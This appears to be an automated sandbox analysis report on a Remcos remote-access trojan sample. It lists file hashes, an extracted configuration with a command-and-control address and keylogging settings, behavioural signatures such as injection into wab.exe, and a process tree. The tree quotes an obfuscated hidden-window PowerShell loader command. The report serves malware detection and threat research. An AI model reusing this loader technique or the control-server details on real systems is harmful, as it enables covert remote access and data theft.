Analysis
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max time kernel
149s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
18-08-2024 01:12
Static task
static1
Behavioral task
behavioral1
Sample
4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe
Resource
win7-20240729-en
General
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Target
4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe
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Size
626KB
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MD5
9be2bb8f46192a7cf7006587c0e95d54
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SHA1
9e31f25cd0c0cf37a92a61ebd87293b519da5534
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SHA256
4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940
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SHA512
76140dd7bcfdb778b70c4864934016b9cbc60b4f36ece6aa671c6556f1504d38e3428102663c47ffa8346e2201078a28443a0b42be0c6b7e820f6823cab4810b
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SSDEEP
12288:naxvaBAHu5sn0ulSRNQeILTPNRLZi8s7exFe2WM:a9aBAObRNVI/PNxzxFMM
Malware Config
Extracted
remcos
RemoteHost
103.67.162.233:9462
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-GRR4WM
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 2756 powershell.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 2648 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2756 powershell.exe 2648 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2756 set thread context of 2648 2756 powershell.exe 33 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\albocarbon.ile 4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wab.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
pid Process 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe 2756 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2756 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2756 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 2648 wab.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 1900 wrote to memory of 2756 1900 4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe 30 PID 1900 wrote to memory of 2756 1900 4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe 30 PID 1900 wrote to memory of 2756 1900 4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe 30 PID 1900 wrote to memory of 2756 1900 4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe 30 PID 2756 wrote to memory of 2648 2756 powershell.exe 33 PID 2756 wrote to memory of 2648 2756 powershell.exe 33 PID 2756 wrote to memory of 2648 2756 powershell.exe 33 PID 2756 wrote to memory of 2648 2756 powershell.exe 33 PID 2756 wrote to memory of 2648 2756 powershell.exe 33 PID 2756 wrote to memory of 2648 2756 powershell.exe 33
Processes
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C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe"C:\Users\Admin\AppData\Local\Temp\4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1900 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2756 -
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"3⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2648
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
144B
MD5129b63696901496a0bc7fad0dbee53cb
SHA1bd52c91ba23d3e84afe4e04cce263f794456ad0a
SHA2566200e4314a795069f8ae7b76badc9a8bba6ac4d98632b380c4b5114fd82e564b
SHA512f7db61f7a1807fcdd84e1e23acd3fb047a5bd5ad9f0d23746aca18b4146b9f3f91e16f7cdbc7caa07f35d45a160fdb1e5607abb6a10ed4cbe10e40c85b47384d
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Filesize
52KB
MD5d9a344e48210c5d555312be94347270a
SHA18e1957cb5f8e181411781bca9fa72f57e8d0d2b1
SHA256e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6
SHA512ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853
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Filesize
310KB
MD5e5923d356c8ca6e039eb3c12c3f8ce7a
SHA1b920b2490fb5bbcefb281df27180eaa4f81825fc
SHA256a3761e7a154e7defc78d9be7e003d327de84520afe5d8adc90074822ade75b65
SHA51241af37685e04e272fe7b0b4e0dcb93b0ca6e33f930dc362ba82f93fa428ba0664ce06699c21ccb55a84c5e927d30415fe110cb6f35b1028d46f97d2f7ec95f4f